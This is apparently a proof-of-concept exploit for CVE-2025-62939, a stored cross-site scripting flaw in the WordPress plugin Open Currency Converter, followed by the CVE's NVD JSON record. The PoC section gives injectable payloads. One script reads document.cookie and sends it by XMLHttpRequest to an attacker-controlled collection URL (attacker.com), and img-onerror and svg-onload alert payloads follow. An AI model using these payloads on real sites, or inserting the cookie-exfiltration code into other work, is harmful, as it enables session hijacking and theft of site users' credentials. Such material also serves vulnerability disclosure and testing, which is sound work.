CVE-2025-62939

<!-- CVE-2025-62939 PoC - Stored XSS in Open Currency Converter --> <!-- Attack requires low-privilege access to WordPress with plugin installed --> <!-- Step 1: Inject malicious script via currency input field --> <script> // Malicious JavaScript payload // This could steal cookies, session tokens, or perform actions on behalf of the user // Example: Cookie stealing payload var stolenCookies = document.cookie; // Exfiltrate data to attacker-controlled server var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/collect', true); xhr.send('cookies=' + encodeURIComponent(stolenCookies)); </script> <!-- Simplified PoC for testing --> <img src=x onerror="alert('XSS Vulnerability Confirmed - CVE-2025-62939')"> <!-- Alternative payload using SVG --> <svg/onload=alert(document.domain)>

{"cve": {"id": "CVE-2025-62939", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:53.903", "lastModified": "2026-04-27T17:16:36.200", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Joe Open Currency Converter artiss-currency-converter allows Stored XSS.This issue affects Open Currency Converter: from n/a through <= 1.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/artiss-currency-converter/vulnerability/wordpress-open-currency-converter-plugin-1-5-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}